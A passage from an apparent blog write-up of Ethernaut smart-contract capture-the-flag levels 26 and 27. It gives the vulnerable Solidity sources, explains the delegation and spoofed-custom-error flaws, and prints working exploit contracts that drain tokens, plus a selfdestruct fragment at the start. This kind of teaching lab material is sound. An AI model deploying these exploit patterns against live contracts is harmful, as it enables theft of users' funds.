engine.upgradeToAndCall(address(this), data);
}
function destory() public{
selfdestruct(0x251B630AdCfff9340bc07b1EC69c097EcbfB996C);
}
}
```
This solution should be self-explanatory.
## Level 26 - DoubleEntryPoint
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
interface DelegateERC20 {
function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}
interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}
interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}
contract Forta is IForta {
mapping(address => IDetectionBot) public usersDetectionBots;
mapping(address => uint256) public botRaisedAlerts;
function setDetectionBot(address detectionBotAddress) external override {
usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
}
function notify(address user, bytes calldata msgData) external override {
if(address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}
function raiseAlert(address user) external override {
if(address(usersDetectionBots[user]) != msg.sender) return;
botRaisedAlerts[msg.sender] += 1;
}
}
contract CryptoVault {
address public sweptTokensRecipient;
IERC20 public underlying;
constructor(address recipient) {
sweptTokensRecipient = recipient;
}
function setUnderlying(address latestToken) public {
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}
/*
...
*/
function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
}
contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
DelegateERC20 public delegate;
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
}
function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
}
contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
address public cryptoVault;
address public player;
address public delegatedFrom;
Forta public forta;
constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
delegatedFrom = legacyToken;
forta = Forta(fortaAddress);
player = playerAddress;
cryptoVault = vaultAddress;
_mint(cryptoVault, 100 ether);
}
modifier onlyDelegateFrom() {
require(msg.sender == delegatedFrom, "Not legacy contract");
_;
}
modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));
// Cache old number of bot alerts
uint256 previousValue = forta.botRaisedAlerts(detectionBot);
// Notify Forta
forta.notify(player, msg.data);
// Continue execution
_;
// Check if alarms have been raised
if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}
function delegateTransfer(
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}
}
```
### Analysis
The goal of this level is to spot the vulnerabilities in the `CryptoVault` contract, and implement a `Forta` bot contract to prevent malicious attackers from draining all the tokens. I didn't fully complete this level as I am not really that interested in implementing a bot. After reading [Aditya Dixit's write up](https://blog.dixitaditya.com/ethernaut-level-26-doubleentrypoint) on this level I just didn't feel like doing it, for those who want to completely clear this level, refer to Aditya's blog. His write ups are pretty helpful and they helped me a lot while I was doing Ethernaut, totally recommand checking it out.
Now, back to real business. My goal is to spot the vulnerbility and 'steal' tokens from this contract. This level's code is quite a lot, but since we are not doing the bot thingy, let's ignore bot related code first.
`CryptoVault` contract only has two functions, `setUnderlying` can't really be called by us in this case, since it has a requirement for `address(underlying) == address(0)`. We can also assume this `underlying` token will be `DoubleEntryPoint` token. The other one, `sweepToken` basic allows us to provide a token address, and if that token is not the underlying token type, we can transfer all tokens `Cryptovault` holds. This itself sounds dangerous enough. But let's continue.
`LegacyToken` essentially overrides its own `transfer` function, and if its `delegate` token address is not zero address, it will call delegate token's `delegateTransfer` instead.
Next, in `DoubleEntryPoint` token, we see an implementation of `delegateTransfer` function, doesn't really do anything special, it just plainly calls `_transfer` and that's about it. We also see this `onlyDelegateFrom` modifier, it checks if `msg.sender` and `delegateFrom` is from the same address. Interestingly enough, in constructor, it sets its `delegateFrom` to be a `LegacyToken` address. This probably hints us to focus on utilizing `LegacyToken`.
Now, we know our goal is to call `sweepToken` in `CryptoVault` contract to drain all `DoubleEntryPoint` tokens, and we need to somehow use `LegacyToken` to exploit a vulnerability to achieve that.
We know we need to bypass `sweepToken`'s requirement first, what if we just pass a `LegacyToken`'s address? It will bypass the requirement and call `transfer`. Since in `LegacyToken`, most likely it will call `delegate.delegateTransfer` as `delegate` will not be an empty address. As there is no other tokens in this contract, and in `DoubleEntryPoint`'s code we see `delegateFrom` corresponds to `LegacyToken`, we will say `delegate` will be a `DoubleEntryPoint` instance. And with that, `delegateTransfer` will first go to `onlyDelegateFrom` modifier. When doing a delegate call, the `msg.sender` will naturally be `LegacyToken` who calls it, hence requirement will be fulfilled. Finally, this execution flow will succeed and we can just drain all `DoubleEntryPoint` tokens in this level.
### Solution (Partially)
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './doubleentrypoint.sol';
contract DoubleEntryPointExp{
DoubleEntryPoint public target;
constructor(address _address) public {
target = DoubleEntryPoint(_address);
}
function exploit() public {
CryptoVault cv = CryptoVault(target.cryptoVault());
address det = address(cv.underlying());
address lgt = DoubleEntryPoint(det).delegatedFrom();
cv.sweepToken(IERC20(lgt));
}
}
```
After deploying and calling `exploit`, we can check transaction details on Etherscan.

## Level 27 - Good Samaritan
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "openzeppelin-contracts-08/utils/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}
```
### Analysis
The goal of this level is to take all `coin` in this contract. One hint from this level is about custom errors in solidity.
From reviewing the contract, we see this `requestDonation` function, which calls `donate10` with a try-catch block. In the catch part, we see it's handling exceptions and checking if the incoming exception has the name of `NotEnoughBalance()`, if so it will continue to call `transferRemainder` function. Let's ignore those first, and go on to next contract.
In the `coin` contract, we see a custom error defined here. In `transfer` function, it checks if `msg.sender` is a contract, and if so, it will treat it as a `INotifyable` instance and calls `notify` function in `msg.sender`'s contract.
Lastly, in `Wallet` contract, we see the definition of `donate10` and `transferRemainder` function. `donate10` function, as its name suggests, will simply transfer 10 coins to sender, whereas `transferremainder` will transfer all coins to sender, this sounds juicy! In the original code, `transferRemainder` is only called when error `NotEnoughBalance` occurs, and this error itself is defined in `Wallet` contract. Normally, one would think since wallet is owned by `GoodSamaritan`, so the error it throws would also be from the same origin, which is trustworthy.
If we are to complete this level with the help of throwing an error, then we have to find a place to throw it. In `coin`, we see when doing a `transfer`, we can exploit this with our malicious contract and a custom error when `nofity` is called, which will throw an error and cause `transferRemainder` to be triggered and sends all coins to `msg.sender` which is us in return.
The exploit workflow works in the below order:
1. player calls `GoodSamaritan.requestDonation()`
2. `GoodSamaritan` calls `wallet.donation10()` and expects error
3. `wallet` calls `coin.transfer()`
4. `coin.transfer()` sees incoming call is from a contract and calls its `nofity()`
5. our contract(which implements INotifyable) receives `nofity()` call and throws a `NotEnoughBalance` error
6. `GoodSamaritan.requestDonation()` encounters an error and calls `wallet.transferRemainder()` and send coins to `msg.sender`.
7. since `msg.sender` in this context will be our malicious contract, the transaction destination will be us.
### Solution
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import './goodsmth.sol';
contract GoodSamaritanExp is INotifyable{
GoodSamaritan public target;
error NotEnoughBalance();
constructor(address _address) public {
target = GoodSamaritan(_address);
}
function notify(uint _amount) override external{
if (_amount == 10){
revert NotEnoughBalance();
}
}
function exploit() public {
target.requestDonation();
}
}
```